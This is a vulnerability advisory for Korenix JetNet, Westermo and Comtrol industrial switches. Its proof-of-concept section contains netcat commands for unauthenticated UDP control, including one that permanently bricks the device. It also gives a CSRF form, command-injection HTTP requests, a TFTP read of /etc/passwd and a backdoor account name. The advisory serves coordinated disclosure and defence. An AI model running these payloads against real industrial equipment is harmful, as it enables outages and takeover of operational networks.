SEC Consult Vulnerability Lab Security Advisory < 20210601-0 >  
title: Multiple Critical Vulnerabilities  
product: Multiple Korenix Technology products:  
Korenix: JetNet 5428G-20SFP, JetNet 5810G, JetNet 4706F,  
JetNet 4706, JetNet 4706, JetNet 4510,  
JetNet 5010, JetNet 5310 and JetNet 6095.  
Westermo: PMI-110-F2G  
Pepperl+Fuchs: Comtrol RocketLinx Series,  
see SA-20201005-0  
vulnerable version: See "Vulnerable / tested versions"  
fixed version: See "Solution"  
CVE number: CVE-2020-12500, CVE-2020-12501, CVE-2020-12502,  
CVE-2020-12503, CVE-2020-12504  
impact: Critical  
found: 2020-04-06  
by: T. Weber (Office Vienna)  
SEC Consult Vulnerability Lab  
An integrated part of SEC Consult, an Atos company  
Europe | Asia | North America  
Vendor description:  
"Korenix Technology, a Beijer group company within the Industrial Communication  
business area, is a global leading manufacturer providing innovative,  
market-oriented, value-focused Industrial Wired and Wireless Networking  
With decades of experiences in the industry, we have developed various product  
lines, including:  
- Industrial Ethernet Switch: Rackmount, Din-Rail, Managed, Unmanaged  
- Industrial Power-over-Ethernet Switch: Rackmount, Din-Rail, Managed,  
- Ethernet SFP/SFP+ Fiber Transceiver: 100M, 1000M, 10G  
- Industrial Wireless & Cellular Solution: LAN Access Point, WLAN Controller,  
Mobile Cellular Router/Gateway  
- Industrial Media Converter: Ethernet, Serial  
- Industrial Computer & Serial Server & I/O: VPN Router Computer, RISC,   
Serial Device Server, Switch Card  
& I/O Module  
- Network Management Software: Korenix NMS Industrial Intelligent Network  
Management System, Korenix Mobile Manager  
Our products are mainly applied in SMART industries: Surveillance, Machine-to-  
Machine, Automation, Remote Monitoring, andTransportation. Worldwide customer  
base covers different Sales channels, including end-customers, OEMs, system  
integrators, and brand label partners. [...]"  
Business recommendation:  
SEC Consult recommends to perform a thorough security review conducted by  
security professionals to identify and resolve potential further critical  
security issues.  
Vulnerability overview/description:  
1) Unauthenticated Device Administration (CVE-2020-12500)  
Korenix, Westermo (members of the Beijer Group) and Comtrol (Pepperl+Fuchs) are  
sharing a partially similar firmware base for the industrial devices. They can  
be managed via a Windows client program called "Korenix View" or "Jet View".  
This program communicates in plaintext via UDP. All messages that are sent to  
the device are broadcastet in the whole subnet and the answers from the devices  
are send back via broadcast too.  
The older version of this management program, called "cmd-server2", can be  
controlled without a password. Analyzing the newer version, called  
"jetviewd", indicates that some kind of password can be set. But this is not  
part of the default configuration.  
Actions that can be done via this daemon, listening on UDP port 5010, are:  
* Modifying networking settings (IP, netmask, gateway)  
* Initiating self tests and blink LEDs on the device  
* Triggering download and upload of configuration files (via TFTP)  
* Triggering uploads of new firmware and bootloader files (via TFTP)  
The device can also be bricked via this daemon so that it is necessary to   
the reset button and re-configure the settings. This was tested on a physical  
device, the JetNet 4706F.  
2) Backdoor Accounts (CVE-2020-12501)  
Multiple different backdoor accounts were found during quick security checks  
of different firmware files. One backdoor account was tested on a later bought  
device to verify this specific finding.  
3) Cross-Site Request Forgery (CSRF) (CVE-2020-12502)  
The web interface, that is used to set all configurations, is vulnerable to  
cross-site request forgery attacks. An attacker can change settings via this  
way by luring the victim to a malicious website.  
4) Semi-Blind Authenticated Command Injection (CVE-2020-12503)  
A semi-blind command injection vulnerabilities were found on the device series  
"JetNet" and the "Westermo PMI-110-F2G Managed PoE Gigabit Switch".  
They are partially sharing the same firmware base. Therefore, the payloads to  
exploit those command injections are similar. Due to the lack of CSRF  
protection, an attacker can execute arbitrary commands on the device by luring  
the victim to click on a malicious link.  
5) Arbitrary Unauthenticated TFTP Actions (CVE-2020-12504)  
A TFTP service is present on a broad range of devices for firmware-,  
bootloader-, and configuration-uploads/downloads. This TFTP server can be  
abused to read all files from the system as the daemon runs as root which  
results in a password hash exposure via the file /etc/passwd. Write access is  
restricted to certain files (configuration, certificates, boot loader,  
firmware upgrade) though.  
By uploading malicious Quagga config-files an attacker can modify e.g.  
IP-settings of the device. Malicious firmware and bootloader uploads are  
possible too.  
Proof of concept:  
1) Unauthenticated Device Administration (CVE-2020-12500)  
All commands can be sent via UDP port 5010.  
Device discovery (firmware/bootloader version etc. in response):  
echo -e "\x00\x00\x00\x07\x00\x00\x00\x04\x00\x00\x00\x01" | nc -u $IP 5010  
Blink with leds:  
echo -e "\x00\x00\x00\x5b\x00\x00\x00\x01\x01" | nc -u $IP 5010  
Permanent denial of service. The device is only available after pressing the  
reset button to load the default config:  
echo -e "\x00\x00\x00\x1f\x01\x01\x01\x04\x01\x01\x01\x01" | nc -u $IP 5010  
Present on:  
* Korenix JetNet (Multiple devices)  
* Westermo PMI-110-F2G  
* Comtrol RocketLinx (Multiple devices)  
2) Backdoor Accounts (CVE-2020-12501)  
The following accounts are available on different devices of Korenix. There  
might be more affected devices across this vendor. Westermo and Comtrol devices  
may be affected too.  
* User "kn001277", present on:  
- JetNet 4706f  
- JetNet 4706  
More devices may be affected.  
Three users are present on the system according to "/etc/passwd". The hashes  
were cracked and assigned to each user:  
By inspecting "/etc/passwd", the only user that is allowed to login  
to the device on the real shell (/bin/sh) is "kn001277":  
The credentials were tested on a real device and they worked.  
3) Cross-Site Request Forgery (CSRF) (CVE-2020-12502)  
The following CSRF PoC can be used to ping All other actions in the  
context of the menu, like uploading config files, can be done in the same   
<script>history.pushState('', '', '/')</script>  
<form action="http://$IP/goform/formping" method="POST">  
<input type="hidden" name="PingIPAddress" value="" />  
<input type="hidden" name="submit-url" value="/toolping.asp"   
<input type="hidden" name="Submit" value="Ping" />  
<input type="submit" value="Submit request" />  
4) Semi-Blind Authenticated Command Injection (CVE-2020-12503)  
The following command injection works on the devices:  
* Korenix JetNet (Multiple devices)  
* Comtrol RocketLinx (Multiple devices)  
* Westermo PMI-110-F2G  
The ping functionality in the web-interfaces can be abused to inject system  
commands in a semi-blind way. Two requests must be sent to the service to  
retrieve the output of the command injection.  
The first request is a POST-request to the endpoint /goform/formping:  
POST /goform/formping HTTP/1.1  
Host: $IP  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 57  
Connection: close  
Cookie: -common-web-session-=::webs.session::9c10b4b1b22063e7fcba5369ff86e779  
Upgrade-Insecure-Requests: 1  
This request triggers the actual command injection in a blind way. The output  
can be fetched from the system by using the following GET-request after  
triggering the previous POST-request:  
GET //toolping.asp HTTP/1.1  
Host: $IP  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: close  
Cookie: -common-web-session-=::webs.session::9c10b4b1b22063e7fcba5369ff86e779  
Upgrade-Insecure-Requests: 1  
5) Arbitrary TFTP Actions (CVE-2020-12504)  
The Linux TFTP client was used to download files from the system using  
absolute paths. Uploads were only possible on existing paths like:  
To download the /etc/passwd file from the system, the following  
command was invoked:  
[user@localhost ~]$ tftp -m binary <Target-IP> -c get /etc/passwd  
[user@localhost ~]$ cat passwd  
Present on:  
* Korenix JetNet (Multiple devices)  
* Comtrol RocketLinx (Multiple devices)  
* Westermo PMI-110-F2G  
The vulnerabilities 1), 2), 3), 4),and 5) were manually verified on an  
emulated device by using the MEDUSA scalable firmware runtime.  
Vulnerable / tested versions:  
Korenix JetNet 5428G-20SFP / 1.0  
Korenix JetNet 5810G / 1.1  
Korenix JetNet 5310 / 1.5  
Korenix JetNet 5010 / 3.1a  
Korenix JetNet 4706F / 2.3b  
Korenix JetNet 4706 / 2.3b  
Korenix JetNet 4510 / 3.0b  
Westermo PMI-110-F2G / 1.5  
Comtrol ES7510 / 3.1a  
Comtrol ES7510-XT / 2.1b  
Comtrol ES7506 / 2.1b  
Comtrol ES8509-XT / 2.1a  
Comtrol ES8510 / 3.1a  
Comtrol ES8510-XT / 3.1a  
Comtrol ES9528-XTv2 / 2.1a  
Vendor contact timeline:  
2020-04-14: Contacting CERT@VDE through and requested support  
for the disclosure process due to the involvement of multiple  
2020-04-15: Security contact responded, that the products were developed by  
Korenix Technologies.  
2020-04-30: Security contact informed us, that some vulnerabilities were  
confirmed by the vendor.  
2020-07-30: Call with Pepperl+Fuchs contact. Contact stated that the  
vulnerabilities were reported to Korenix.  
2020-09-29: Call with Pepperl+Fuchs and CERT@VDE regarding status.  
Pepperl+Fuchs stated that they just have a sales contact from  
2020-10-05: Coordinated release of SA-20201005-0.  
2020-10-05: Call with the helpdesk of Beijer Electronics AB. The contact stated  
that no case regarding vulnerabilities were opened and created one.  
The product owners of Westermo, Korenix and Beijer Electronics were  
informed via this inquiry. Set disclosure date to 2020-11-25.  
2020-10-06: Restarted the whole responsible disclosure process by sending   
request to the new security contact  
2020-10-07: Received an email from a Korenix representative which offered   
answer questions about product security. Started responsible  
disclosure by requesting email certificate or whether plaintext can  
be used. Referred to the request to  
No answer.  
2020-11-11: Asked the representatives of Korenix and Beijer regarding the  
No answer.  
2020-11-25: Phone call with security manager of Beijer. Sent advisories via  
encrypted archive to Received  
confirmation of advisory receipt. Security manager told us that he  
can provide information regarding the time-line for the patches  
within the next two weeks.  
2020-12-09: Asked for an update.  
2020-12-18: Call with security manager of Beijer. Vendor presented initial  
analysis done by the affected companies.  
2021-03-21: Security manager invited SEC Consult to have a status meeting.  
2021-03-26: Agreed on an advisory split as other affected products will get  
patched later.  
2021-04-12: Performed advisory split.  
2021-05-26: Meeting regarding advisory publication. Received vendor statement.  
2021-06-01: Coordinated release of security advisory.  
Update to the most recent firmware version provided on the vendor's website.  
Vendor's statement:  
"Korenix recommends users to restrict network access to the devices to only  
trusted parties/devices/network. Korenix also recommends security best  
practices and firewall configurations that can help protect devices from  
attacks that originate from outside the network. Such practices might include:  
* Restrict physical access to device to authorized personnel,  
* Do not have direct connections to the Internet,  
* Separate from other networks by means of a firewall system with a minimal  
number of exposed ports,  
* Portable computers and removable storage media should be carefully scanned  
for viruses before they are connected to those devices.  
For additional information and support please contact the local Korenix service  
organization. For contact information, see:  
In the upcoming version of those devices these problems will fixed before   
first launch of those new products.  
Model reported/ODM Affected Fixed Timeline Replacement model  
JetNet 5428G-20SFP V1.0 Q1,2021 JetNet 6528G  
JetNet 5810G V1.1 Q1,2021 JetNet 5200 series  
JetNet 4706F V2.3b Q1,2021 JetNet 5200 series  
JetNet 4510 V3.0b Q1,2021 JetNet 5200 series  
JetNet 5310 V1.5 V1.6 Q1,2021 JetNet 5200 series  
Westermo PMI-110-F2G V1.5 V1.8 Q1,2021   
JetNet 5310/Comtrol ES7510-XT V2.1b V2.1C Q1,2021 JetNet 5200 series  
JetNet 5310/Comtrol ES7510 V3.1a V3.1b Q1,2021 JetNet 5200 series  
JetNet 5010/Comtrol ES8510 V3.1a V3.1b Q1,2021 JetNet 5200 series  
JetNet 5010/Comtrol ES8510-XT V3.1a V3.1b Q1,2021 JetNet 5200 series  
JetNet 4706/Comtrol ES7506 V2.1b Q1,2021 JetNet 5200 series  
JetNet 6095/Comtrol ES8509-XT V2.1a Q1,2021 JetNet 5200 series  
JetNet 5428G/Comtrol ES9528-XTv2 V2.1a Q1,2021 JetNet 6528G"  
Advisory URL:  
SEC Consult Vulnerability Lab  
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Europe | Asia | North America  
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EOF Thomas Weber / @2021